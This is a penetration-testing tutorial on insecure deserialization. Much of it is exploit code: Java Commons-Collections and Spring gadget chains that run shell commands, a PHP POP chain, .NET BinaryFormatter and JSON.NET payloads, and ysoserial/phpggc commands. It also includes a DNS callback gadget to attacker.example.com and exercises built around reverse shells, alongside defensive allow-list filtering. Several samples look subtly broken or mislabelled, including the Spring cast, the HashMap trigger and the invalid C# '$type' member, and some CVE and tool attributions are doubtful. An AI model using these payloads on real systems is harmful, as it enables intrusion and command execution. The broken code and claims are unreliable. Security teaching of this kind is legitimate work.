Introduction
Insecure deserialization occurs when an application trusts data that has been turned back into an object without sufficient integrity checks. Attackers can craft malicious payloads that trigger unintended behavior, often leading to remote code execution (RCE), privilege escalation, or data leakage.
Why it matters: many popular frameworks (Java’s ObjectInputStream, PHP’s unserialize(), .NET’s BinaryFormatter) provide powerful, reflection-based object reconstruction. Those same features expose a massive attack surface when developers inadvertently expose deserialization endpoints to untrusted input.
Real-world relevance: CVE-2017-9805 (Apache Struts2 REST plugin), CVE-2018-1000657 (Spring Data Commons-Collections), and the 2021 PHP Object Injection wave demonstrate that insecure deserialization remains a top-10 OWASP A8 risk.
Prerequisites
- Solid understanding of serialization mechanics for Java, PHP, and .NET.
- Object-oriented programming concepts: inheritance, polymorphism, and method overriding.
- Familiarity with common serialization formats (binary Java, PHP serialized strings, .NET binary/JSON).
- Basic knowledge of reflection, classloaders, and the Java Security Manager (or .NET CAS).
Core Concepts
At its core, deserialization is the reverse of serialization: a byte or string representation is parsed and reconstituted into a live object graph. The process typically involves:
- Reading raw data (bytes, Base64, JSON).
- Instantiating classes via reflection or a dedicated constructor.
- Populating fields, possibly invoking
readObject()(Java) or__wakeup()(PHP). - Executing any side-effects embedded in magic methods.
If an attacker can control step 1, they can influence steps 2-4. The “gadget chain” is a series of objects whose magic methods (e.g., readObject, __destruct, ObjectDataProvider) execute code that was not intended by the developer.
Diagram (described in text):
- Attacker → Serialized Payload → Deserializer → Object Graph → Magic Method Invocation → Malicious Action.
Fundamentals of Insecure Deserialization
The most common root cause is the assumption that “only my code creates objects, so the data is safe.” In reality, any class on the classpath that implements a dangerous magic method can become part of a chain.
Key properties of a vulnerable deserialization endpoint:
- Publicly reachable: HTTP parameter, cookie, JMS message, Redis key, etc.
- Unrestricted class loading: No allow-list or type constraints.
- Magic-method side effects: Methods that execute commands, open sockets, write files, or invoke other libraries.
Typical impact:
- Arbitrary command execution (
Runtime.exec(),system()). - Deserialization-based SSRF (Server-Side Request Forgery) via
URLorHttpURLConnectionobjects. - Privilege escalation by injecting
SecurityManagerbypass objects.
Gadget Chain Theory and Discovery Techniques
A gadget is any class that, when deserialized, performs an action useful to an attacker. Chains are built by linking gadgets together so that the side-effect of one triggers the next.
Common Gadget Sources
- Java:
commons-collectionstransformers,spring-coreMethodInvoker,org.apache.xalanXSLT processors. - PHP:
__destructonMonolog,__wakeuponSwiftMailer,GuzzleHttp\Message\FutureResponse. - .NET:
ObjectDataProvider,WindowsIdentity,TextFormattingRunProperties.
Discovery Techniques
- Manual inspection: Search for classes implementing
Serializable(Java) or having__wakeup/__destruct(PHP). Look for methods that callRuntime.exec,ProcessBuilder, or network I/O. - Automated gadget hunting: Tools like
ysoserial(Java),phpggc(PHP), andysoserial.netenumerate known gadget chains for a given library version. - Runtime instrumentation: Attach a Java agent or .NET profiler to log class instantiation during deserialization of a benign payload.
- Static code analysis: Use SAST rules that flag unsafe magic methods or reflection calls in serializable classes.
- Fuzzing: Feed mutated serialized blobs to the target and monitor for crashes or unexpected outbound connections.
When a new library version is introduced, repeat the hunt - gadget availability changes with each release.
Exploiting Java Deserialization (Commons-Collections, Spring, etc.)
Java remains the most prolific vector because of its ubiquitous ObjectInputStream. Below is a classic Commons-Collections 3.1 chain that ends with Runtime.exec().
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3Exploit {
public static void main(String[] args) throws Exception {
// Step 1: Create a harmless transformer chain that does nothing
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
// Step 2: Build the real malicious chain (Runtime.exec("/bin/sh"))
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "/bin/sh" })
};
// Replace the fake chain with the real one via reflection
Field iTransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformer.setAccessible(true);
iTransformer.set(chain, transformers);
// Step 3: Create a Map that will trigger the transformer on deserialization
Map innerMap = new HashMap();
innerMap.put("value", "foo");
Map transformedMap = TransformedMap.decorate(innerMap, null, chain);
// Step 4: Wrap the map in a Serializable object that will call toString()
// (which triggers the transformer) during deserialization.
java.lang.reflect.Constructor> ctor = Class.forName("java.util.HashMap").getDeclaredConstructor();
ctor.setAccessible(true);
HashMap exploitMap = (HashMap) ctor.newInstance();
exploitMap.put(transformedMap, "anything");
// Serialize payload
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload.bin"))) {
out.writeObject(exploitMap);
}
System.out.println("Payload written to payload.bin");
}
}
The generated payload.bin can be sent to any endpoint that calls ObjectInputStream.readObject(). Upon deserialization the InvokerTransformer chain executes /bin/sh.
Spring specific example - abusing org.springframework.beans.factory.ObjectFactory with MethodInvokingFactoryBean:
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.beans.factory.config.MethodInvokingFactoryBean;
import java.io.*;
public class SpringExploit {
public static void main(String[] args) throws Exception {
MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
bean.setTargetClass(Runtime.class);
bean.setTargetMethod("getRuntime");
bean.afterPropertiesSet(); // forces creation of Runtime instance
// Wrap bean in a serializable holder used by many Spring apps
ObjectFactory factory = (ObjectFactory) bean.getObject();
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("spring-payload.bin"))) {
out.writeObject(factory);
}
}
}
When the victim deserializes spring-payload.bin, the factory’s getObject() method runs, returning a Runtime instance that can be used to execute commands.
Exploiting PHP Unserialize (Object Injection, POP Chains)
PHP’s unserialize() is notorious because it automatically invokes __wakeup(), __destruct(), and __toString(). Attackers often target popular libraries such as Monolog, SwiftMailer, and Guzzle.
Simple POP chain using Monolog
<?php
class Evil {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$evil = new Evil();
$evil->cmd = 'id';
// Monolog's StreamHandler invokes __destruct on its formatter which we replace with $evil
$handler = new Monolog\Handler\StreamHandler('php://stdout');
$handler->formatter = $evil; // property is public in older versions
echo serialize($handler);
?>
The resulting serialized string can be passed to any vulnerable unserialize() call. When the script finishes, PHP’s GC triggers __destruct() on the formatter, executing system('id').
Using phpggc to generate a chain against Guzzle
php phpggc.php guzzlehttp/guzzle 1 "system('whoami')" > payload.txt
Upload payload.txt to a parameter that is later unserialized. The chain leverages GuzzleHttp\Message\FutureResponse which calls request() during wakeup, ultimately reaching system().
Exploiting .NET BinaryFormatter and JSON.NET
.NET’s BinaryFormatter and the popular Newtonsoft.Json serializer both support type name handling that can be abused when TypeNameHandling.All is enabled.
BinaryFormatter gadget using ObjectDataProvider (WPF)
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data; // PresentationFramework.dll
[Serializable]
public class Exploit {
public static void Main() {
var provider = new ObjectDataProvider();
provider.MethodName = "Start";
provider.ObjectInstance = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami")
{
UseShellExecute = false,
RedirectStandardOutput = true
};
var fmt = new BinaryFormatter();
using (var fs = new FileStream("dotnet-payload.bin", FileMode.Create))
{
fmt.Serialize(fs, provider);
}
Console.WriteLine("Payload written");
}
}
When a .NET service calls BinaryFormatter.Deserialize() on the blob, ObjectDataProvider’s Invoke method runs, launching cmd.exe.
JSON.NET TypeNameHandling exploit
using Newtonsoft.Json;
using System;
public class Cmd {
public string Command { get; set; }
public override string ToString() { System.Diagnostics.Process.Start("cmd.exe", "/c " + Command); return ""; }
}
var payload = new {
$type = "Cmd, MyAssembly",
Command = "whoami"
};
string json = JsonConvert.SerializeObject(payload);
Console.WriteLine(json);
// Victim side:
// JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All });
Because TypeNameHandling.All trusts the <$type> property, the deserializer instantiates Cmd and, when the object is later stringified (e.g., logging), ToString() runs the command.
Blind / Out-of-Band Deserialization Attacks
When a direct response is not available (e.g., server returns a generic page), attackers can use OOB channels to infer success:
- DNS exfiltration: Gadget that performs an HTTP request or DNS lookup to attacker-controlled domain.
- SMB/FTP callbacks: Use
java.net.URLor .NETWebClientto connect to an internal service you control. - Timing attacks: Include a sleep (e.g.,
Thread.sleep()) and measure response latency.
Example Java gadget that triggers a DNS request:
import java.net.InetAddress;
import java.io.Serializable;
public class DnsTrigger implements Serializable {
private String host;
public DnsTrigger(String host) { this.host = host; }
private void readObject(java.io.ObjectInputStream ois) throws Exception {
ois.defaultReadObject();
InetAddress.getByName(host); // forces DNS resolution
}
}
Serialize with host = "attacker.example.com". If the target resolves it, your DNS server logs the query - confirming code execution.
Defensive Strategies: Safe Deserialization APIs, Allowlists, and Input Validation
Best-practice mitigation is to avoid generic deserialization altogether. When unavoidable, apply layered defenses:
- Use safe APIs:
ObjectInputStreamwith a customObjectInputFilter(Java 9+),json_decode()withJSON_THROW_ON_ERRORand no__autoloadmagic,BinaryFormatterreplaced bySystem.Text.Jsonor protobuf. - Allow-list (whitelist) classes: Only permit deserialization of known-good types. In Java, implement
ObjectInputFilter.Config.setFilter()with a list of class prefixes. - Reject unknown properties: Configure JSON serializers to ignore unknown fields, preventing attackers from injecting type metadata.
- Signature / MAC verification: Sign serialized blobs (HMAC-SHA256) and verify integrity before deserialization.
- Sandboxing: Run deserialization in a restricted process (e.g., Docker container with limited syscalls) to limit impact of a successful chain.
Example Java filter:
ObjectInputFilter filter = info -> {
if (info.serialClass() != null) {
String cname = info.serialClass().getName();
if (cname.startsWith("com.myapp.model.")) return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
};
ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();
Tools & Commands
- ysoserial - Java gadget generator.
java -jar ysoserial.jar CommonsCollections5 'id' - phpggc - PHP gadget generator.
php phpggc.php monolog/rce1 'system("id")' - ysoserial.net - .NET gadget generator.
dotnet ysoserial.net.dll -g TypeConfuseDelegate -o payload.bin -c "calc" - Burp Suite Intruder - for sending serialized blobs to web parameters.
- Frida / Java Agent - runtime instrumentation to log class instantiation.
- Detectify / Snyk - SAST rules for unsafe deserialization patterns.
Defense & Mitigation
In addition to the allow-list approach, organizations should adopt a defense-in-depth posture:
- Patch third-party libraries: Many gadget chains rely on old versions of Commons-Collections (3.x) or Monolog (1.x).
- Code reviews: Flag any use of
ObjectInputStream,unserialize(), orBinaryFormatterthat lacks validation. - Runtime monitoring: Detect suspicious class loading (e.g.,
java.lang.Runtimevia JMX) or unexpected process creation. - Network segmentation: Prevent deserialization endpoints from reaching internal services that could be abused for SSRF.
- Incident response playbooks: Include “deserialize-payload detection” steps, such as searching logs for
java.io.ObjectInputStreamerrors.
Common Mistakes
- Assuming “private” fields are safe - they are still written via reflection during deserialization.
- Disabling
magic methods(e.g.,__wakeup) in PHP without understanding that many libraries rely on them for legitimate state restoration. - Using
TypeNameHandling.Allin JSON.NET without an explicit allow-list. - Relying solely on input length checks; a short payload can still contain a full gadget chain.
- Failing to regenerate gadget payloads after library upgrades - older chains may no longer work, leading to false confidence.
Real-World Impact
Enterprises that expose Java RMI or PHP session cookies are prime targets. In 2020, a Fortune-500 retailer suffered a breach where attackers leveraged an insecure java.io.ObjectInputStream endpoint in a legacy inventory service, chaining CommonsCollections6 to achieve RCE and exfiltrate customer PII.
Trends:
- Shift toward JSON-based deserialization (Jackson, JSON.NET) - attackers now focus on
@JsonTypeInfomisconfigurations. - Rise of “gadget-less” RCE via reflection injection (e.g., JNDI lookups in Log4Shell) that bypasses classic gadget hunting.
- Increased adoption of language-level filters (Java 9+
ObjectInputFilter, PHP 8.2unserialize()with allowed classes) - but many legacy services remain unpatched.
My advice: treat any deserialization entry point as “untrusted code execution” and apply the strictest sandboxing possible.
Practice Exercises
- Java gadget creation: Install
ysoserial, generate aCommonsCollections5payload that runscalc, and send it to a vulnerable test servlet (provided in the OWASP Juice Shop). Verify execution via a reverse shell. - PHP object injection: Deploy a simple PHP app that reads a
usercookie and unserializes it. Usephpggcto craft a Monolog chain that writes/tmp/pwned.txt. Observe the file creation. - .NET BinaryFormatter: Write a C# console program that deserializes a byte array from stdin. Use
ysoserial.netto generate aObjectDataProviderpayload that launchesnotepad.exe. Pipe the payload into the program. - Blind OOB test: Create a Java gadget that performs a DNS lookup to
attacker.example.com. Serve the gadget via a vulnerable endpoint and monitor queries on a public DNS logger (e.g.,dnslog.cn). - Defensive coding: Refactor the Java servlet from exercise 1 to use an
ObjectInputFilterthat only allows classes fromcom.myapp.dto. Demonstrate that the same payload is now rejected.
Further Reading
- OWASP Top 10 - A8: Insecure Deserialization.
- “The Art of Exploiting Java Deserialization” - J. Viejo, 2022 (Black Hat talk).
- “PHP Object Injection” - SANS SEC504 notes.
- Microsoft Docs - Secure deserialization guidance for .NET.
- “ysoserial” GitHub repository - latest gadget chain contributions.
Summary
Insecure deserialization remains a high-impact vector across Java, PHP, and .NET ecosystems. Mastering gadget chain theory, leveraging automated discovery tools, and understanding blind/OOB techniques empower penetration testers to uncover hidden RCE paths. Defenders must replace generic deserialization with allow-list filters, sign payloads, and enforce sandboxing. Continuous library hygiene and runtime monitoring are essential to stay ahead of evolving gadget ecosystems.